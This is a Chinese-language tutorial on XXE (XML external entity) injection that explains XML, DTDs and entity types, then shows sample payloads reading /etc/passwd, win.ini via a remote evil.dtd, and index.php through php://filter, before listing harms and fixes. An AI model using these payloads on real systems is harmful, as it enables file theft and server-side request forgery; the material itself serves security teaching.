XXE漏洞

XXE漏洞

What is XXE?

XML external entity injection (also known as XXE)。奇怪,XML External Entity 为什么不叫XEE?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

1552062-20230423154653701-2017550310

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML外部实体。

1、定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

要了解XXE漏洞的原理,需要了解一下XML格式(一种数据传输格式,现在被JSON取代),DTD。

2、文档结构

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

3,DTD

DTD(document type definition 文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。

(1)内部声明DTD

1
<!DOCTYPE 根元素 [元素声明]>

(2)引用外部DTD

1
<!DOCTYPE 根元素 SYSTEM "文件名">

(3)内外部DTD文档结合:

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>

(4)DTD中的一些重要的关键字:

1
2
3
DOCTYPE(DTD的声明)
ENTITY(实体的声明)
SYSTEM、PUBLIC(外部资源申请)

4、实体类别介绍

实体主要分为一下四类:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

【区分】

(1)参数实体用%实体名称申明,引用时也用%实体名称;
(2)其余实体直接用实体名称申明,引用时用&实体名称。
(3)参数实体只能在DTD中申明,DTD中引用;
(4)其余实体只能在DTD中申明,可在xml文档中引用。

注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

5、DTD实体声明

XML中对数据的引用称为实体。

(1)内部实体声明

1
<!ENTITY 实体名称 “实体的值">

一个实体由三部分构成:&符号, 实体名称, 分号。

这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

(2)外部实体声明

1
<!ENTITY 实体名称 SYSTEM “URI/URL">

外部实体用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

1
2
3
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

示例:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

(3)参数实体声明

1
2
3
<!ENTITY % 实体名称 “实体的值">
or
<!ENTITY % 实体名称 SYSTEM “URI">

示例:

1
2
3
4
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容:

1
2
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini" >

(4)引用公共实体

1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

XXE的特征

  • 特征1 — .ashx
    看到url是 .ashx后缀的
  • 特征2 — 响应体是xml

XXE漏洞简介

有了XML实体,关键字SYSTEM会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。

简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
code1:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>

Code2:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]>
<foo>
<value>&entityex;</value>
</foo>

code3:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>

以Code1代码为例,XML外部实体 passwd 被赋予的值为:file:///etc/passwd。在解析XML文档的过程中,实体 passwd 的值会被替换为URI(file:///etc/passwd)内容值(也就是 passwd 文件的内容)。关键字SYSTEM会告诉XML解析器,passwd 实体的值将从其后的URI中读取。

XXE漏洞危害

XXE漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等。通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口。换而言之,XXE是一种从本地到达各种服务的方法。此外,在一定程度上这也可能帮助攻击者绕过防火墙规则过滤或身份验证检查。

修复方案

  1. 使用开发语言提供的禁用外部实体的方法;
  2. 过滤用户提交的XML数据;
  3. 不允许XML中含有自己定义的DTD;